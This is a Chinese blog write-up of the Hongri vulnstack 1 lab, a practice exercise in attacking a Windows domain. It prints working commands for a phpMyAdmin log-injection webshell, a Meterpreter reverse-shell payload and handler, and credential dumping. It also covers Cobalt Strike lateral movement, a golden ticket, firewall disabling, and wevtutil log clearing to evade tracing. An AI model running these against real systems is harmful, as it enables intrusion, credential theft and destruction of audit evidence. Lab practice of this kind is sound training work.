ATT&CK红队靶场实战-红日靶场1

环境搭建

从红日安全团队官网下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base

靶场的网络拓扑图如下

设备 IP 地址
Windows 7 x64 (Web 服务器) 192.168.52.143 (NAT), 192.168.72.128 (仅主机)
Windows Server 2008 R2 x64 (域控制器 DC) 192.168.52.138(NAT)
Win2K3 Metasploitable (域成员) 192.168.52.141(NAT)
Kali (攻击机), 物理机 192.168.72.128 (仅主机)
网卡为NAT模式的虚拟机为内网主机,网卡为仅主机模式的虚拟机为外网主机。不建议使用桥接模式,以免影响到真实网络环境。

攻击机除了 kali 以外,还有物理机,其 IP 默认就是虚拟机的网关,因此无需配置 IP。

3 台靶机都位于 god.org 域中且用户密码都为 hongrisec@2019, 但由于这些虚拟机都创建于 2019 年,已经过了密码最长使用期限,因此需要修改密码,这里都改为 Admin123!

虚拟网络配置

其他注意事项

win7这台机器得手动加一块网卡

如果发现三台机器ping不通等情况,大概率是虚拟网络配置错了

运行服务

在 Windows 7 x64 (Web 服务器) 中的 C:\phpStudy\ 目录中启动小皮面板,如果启动失败,请将 C:\phpStudy\ 目录拷贝至桌面,随后即可启动面板,启动时会弹出 Apache 和 MySQL 的外网访问权限请求,务必勾选 Apache 的所有选项并允许访问 (MySQL 可忽略),否则后续实验将无法顺利进行:

如果将phpstudy移动到了桌面,需要按照下图所示编辑 vhosts-conf 文件,将框选位置的路径由原来的 C:\phpStudy\WWW 改成 C:\Users\Administrator\Desktop\phpStudy\WWW,使站点路径位于小皮面板子目录:

<VirtualHost _default_:80>
DocumentRoot "C:\Users\Administrator\Desktop\phpStudy\WWW"
<Directory "C:\Users\Administrator\Desktop\phpStudy\WWW">
Options -Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
</VirtualHost>

外网打点

信息搜集

2.1.1 活跃主机扫描

使用 nmap 扫描同网段的活跃主机:nmap -sn -PR -n 192.168.72.0/24

-sn: 跳过端口扫描,只确认是否在线

-PR: 使用基于 ARP 协议的主机扫描,内网首选

-n: 不进行反向 DNS 解析,可提高扫描速度

扫描出的 192.168.72.129 主机为活跃状态。

2.1.2 端口扫描

使用 nmap 扫描 192.168.1.10 开放的端口:

sudo nmap -sS -sC -Pn -n -sV -p- 192.168.72.129

-sS: 使用 TCP SYN 半开放扫描 (必须使用 root 权限运行)

-sC: 使用默认的脚本扫描,可扫描出更多信息 (比如网页标题)

-Pn: 不进行活跃主机扫描,因为扫描对象已知是活跃主机

-n: 不进行反向 DNS 解析,提高扫描速度

-sV: 扫描服务版本信息

-p-: 指定扫描的端口范围为所有 TCP 端口

开放了80端口

浏览器访问一下,可以看到是phpstudy探针,有大量的php配置信息

2.1.3 站点目录扫描

使用gobuster来扫描 http://192.168.1.10/ 的站点目录:

gobuster dir -u http://192.168.72.129/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html

-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt: 指定 gobuster使用 kali 内置的常见目录和文件名字典文件来爆破

-x php,html: 添加文件后缀

扫到了phpmyadmin

建立立足点

尝试弱密码root/root成功登录

phpMyAdmin 日志注入漏洞

尝试执行 SELECT [content] INTO OUTFILE [/path/file] 语句将一句话木马写入文件到站点根目录中去

SELECT "<?php @eval($_POST['LE0']);?>" INTO OUTFILE "C:\Users\Administrator\Desktop\phpStudy\WWW\hack.php";

命令执行后出现了报错,提示 MySQL 服务器配置了secure-file-priv选项,限制了该命令的执行

查询该选项的状态

SHOW GLOBAL VARIABLES LIKE "%secure%";

从上图可知 secure-file-priv 选项被设置为了 NULL, MySQL 服务器会禁止文件导入与导出功能。尝试使用以下命令修改 secure-file-priv 选项的值为空字符,使其不做目录限制:

SET GLOBAL secure_file_priv = '';

可惜这个参数是只读,无法修改

尝试从MySQL 命令执行日志下手,执行 SHOW GLOBAL VARIABLES LIKE "%general_log%";,查看命令执行日志开关和日志文件路径

SHOW GLOBAL VARIABLES LIKE "%general_log%";

查询到命令执行日志选项为关闭状态,日志文件路径位于 C:\Users\Administrator\Desktop\phpStudy\MySQL\data\stu1.log 目录。

尝试修改为开启状态并将日志文件路径改为站点根目录,注意路径分隔符使用的使正斜杠 /,防止被转义

SET GLOBAL general_log=on;  
SET GLOBAL general_log_file='C:/Users/Administrator/Desktop/phpStudy/WWW/hack.php';

再次查询,成功开启

后面执行的所有 MySQL 命令都会被记录在网站根目录下的 hack.php 文件中 (只记录命令,不记录结果),此时再执行以下命令将一句话木马记录到日志文件中

SELECT "<?php @eval($_POST['LE0']);?>";

使用中国蚁剑连接木马 http://192.168.72.129/hack.php

连接成功

也可以使用冰蝎,哥斯拉等webshell工具,后面我用哥斯拉来进行内网渗透(因为没怎么用过,熟悉一下)

内网渗透

攻破服务器后开始收集内网信息并以服务器为跳板在内网横向移动攻陷其他主机。

拿到webshell了,接下来就上msf

启动

sudo msfdb run

生成payload

use payload/windows/x64/meterpreter/reverse_tcp

#设置LHOST和LPORT
set LHOST 192.168.72.128
set LPORT 5555

#生成payload -f 指定输出的文件类型 -o 指定文件名
generate -f exe -o 64.exe

等价于

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.128 lport=5555 -f exe -o x64.exe

上传木马

kail设置监听

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 0.0.0.0

	set LPORT 5555

exploit

运行木马,成功拿到shell

查看域控的ip(如果有乱码再命令前加上chcp 65001

chcp 65001 && net config workstation
c:\ >chcp 65001 && net config workstation

Active code page: 65001
Computer name                        \\STU1
Full Computer name                   stu1.god.org
User name                            Administrator

Workstation active on                
	NetBT_Tcpip_{0A84D6F5-83A2-4A29-AC1A-A6C6CB954A11} (000C292049C7)
	NetBT_Tcpip_{4DAEBDFD-0177-4691-8243-B73297E2F0FF} (000C292049BD)
	NetBT_Tcpip_{EC57C4EB-763E-4000-9CDE-4D7FF15DF74C} (02004C4F4F50)

Software version                     Windows 7 Professional

Workstation domain                   GOD
Workstation Domain DNS Name          god.org
Logon domain                         GOD

COM Open Timeout (sec)               0
COM Send Count (byte)                16
COM Send Timeout (msec)              250
The command completed successfully.

net time是根据域控的,因此owa.god.org就是域控

C:/phpStudy/WWW/ >chcp 65001 && net time /domain

Active code page: 65001
Current time at \\owa.god.org is 2026/4/3 21:10:37

The command completed successfully.

ping一下获得ip

C:/phpStudy/WWW/ >chcp 65001 && ping owa.god.org

Active code page: 65001

Pinging owa.god.org [192.168.52.138] with 32 bytes of data:
Reply from 192.168.52.138: bytes=32 time<1ms TTL=128
Reply from 192.168.52.138: bytes=32 time<1ms TTL=128
Reply from 192.168.52.138: bytes=32 time<1ms TTL=128
Reply from 192.168.52.138: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.52.138:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

查看域内主机,第一台是域控,第二台是其他主机

C:/phpStudy/WWW/ >chcp 65001 && net view

Active code page: 65001
Server Name            Remark

-------------------------------------------------------------------------------
\\OWA                                                                          
\\ROOT-TVI862UBEH                                                              
The command completed successfully.

继续ping获得另一台主机的ip

C:/phpStudy/WWW/ >chcp 65001 && ping ROOT-TVI862UBEH

Active code page: 65001

Pinging ROOT-TVI862UBEH.god.org [192.168.52.141] with 32 bytes of data:
Reply from 192.168.52.141: bytes=32 time<1ms TTL=128
Reply from 192.168.52.141: bytes=32 time<1ms TTL=128
Reply from 192.168.52.141: bytes=32 time<1ms TTL=128
Reply from 192.168.52.141: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.52.141:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

现在内网的ip已经都拿到了

主机 ip
域控 OWA 192.168.52.138
ROOT-TVI862UBEH 192.168.52.141
获取本机密码哈希

获取域内的密码哈希

load kiwi

help

creds_all

但是显示[!] Not running as SYSTEM, execution may fail需要先提权

getsystem

可以抓到域内密码哈希

查看Administrator是不是管理员

这个用户确实是域管理员

正常使用exe上线的情况下,会在任务管理器或者直接使用tasklist命令就都可以看到exe的进程,十分容易被发现,因此要把进程迁移到其他原有的进程上面,相当于寄生在别的进程上面,不容易被发现
如果不知道迁移到哪

输入run post/windows/manage/migrate 系统自动会寻找指定的进程然后迁移

migrate 2880

可以访问域内的两台机器

横向移动

使用psexec上线

加一个路由

但是两台都没打通

搭建路由

run post/multi/manage/autoroute   自动搭设路由
run autoroute -p                  查看路由配置

搭建代理

有了代理,就能让流量安全到达内网,同时隐藏本机ip。借助跳板机访问内网、

先backgroud,将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话)

设置proxychains代理
use auxiliary/server/socks_proxy
set srvport 1080
set srvhost 127.0.0.1
run

jobs查看是否搭建成功。

vim /etc/proxychains4.conf   修改配置文件

nmap扫描,这扫描也太慢了直接贴别人的图了

proxychains4 nmap -sT --min-rate 10000 -p- 192.168.52.138

我们发现开放了445端口,我们尝试使用永恒之蓝进行探测,但是没有成功

CS上线

cs配置服务端

在kali上下载cs,进入cs目录,打开服务端

//运行前记得加可执行权限
chmod +x teamserver
 
chmod +x TeamServerImage
./teamserver 192.168.72.129 123      //写上kali的ip还有随便写一个密码

配置客户端

ip和密码填上刚刚服务端上写的ip还有密码

创建监听器

首先我们先在CS上创建一个名为web的监听,选择hppt协议,端口设置为4444

创建 windows 可执行 exe 程序

监听器选择刚刚创建的web,然后把后门文件保存在本地

利用webshell上传后门,并启动

运行后门

成功上线

现在我们是administration权限,所以我们要提权

选择刚刚创建的监听器

等一会就提权成功了,system

可以先关闭一下win7的防火墙,防止后面出错

beacon> shell netsh advfirewall set allprofiles state off

前面做过信息搜集了,这里就不再重复了

端口扫描

抓取明文密码

内网横向

刚刚端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。

  1. SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
  2. SMB协议基础:文件共享,域名解析等,默认通过445端口通信

创建SMB监听器

切换攻击目标列表

监听器选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的

横向成功,进入域控,记得养成好习惯关防火墙。

shell netsh advfirewall set allprofiles state off

权限维持(黄金票据)

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

抓取 Hash 还有明文密码

把SID,域名,复制下来等下黄金票据要用

hash: 58e91a5ac358d86513ab224312314061:::

SID: S-1-5-21-2952760202-1353902439-2381784089-1000

这里有点奇怪,我输出的sid是S-1-5-20?不知道是为什么

域名:GOD.ORG

黄金票据配置

凭证提权—>黄金票据

因为sid不对,没法提权,这里我直接复制别人的图片了

把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便

成功

痕迹清除

在渗透过程中,痕迹清除非常非常重要,不清除万一被溯源,容易被ban

shell wevtutil cl security               //清理安全日志
shell wevtutil cl system                 //清理系统日志
shell wevtutil cl application            //清理应用程序日志
shell wevtutil cl "windows powershell"   //清除power shell日志
shell wevtutil cl Setup                  //清除(cl)事件日志中的 "Setup" 事件。

总结

这是第一次打windows的渗透,在打靶过程中前前后后遇到了各种问题,有些问题到现在也没解决,就先留着吧。感觉域渗透的知识挺杂的,之后还得多学多练,道阻且长啊......

参考

ATT&CK实战系列(一)红日靶场1 - Afa1rs - 博客园

红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记-CSDN博客

posted @ 2026-04-04 15:32  leee0  阅读(5)  评论(0)    收藏  举报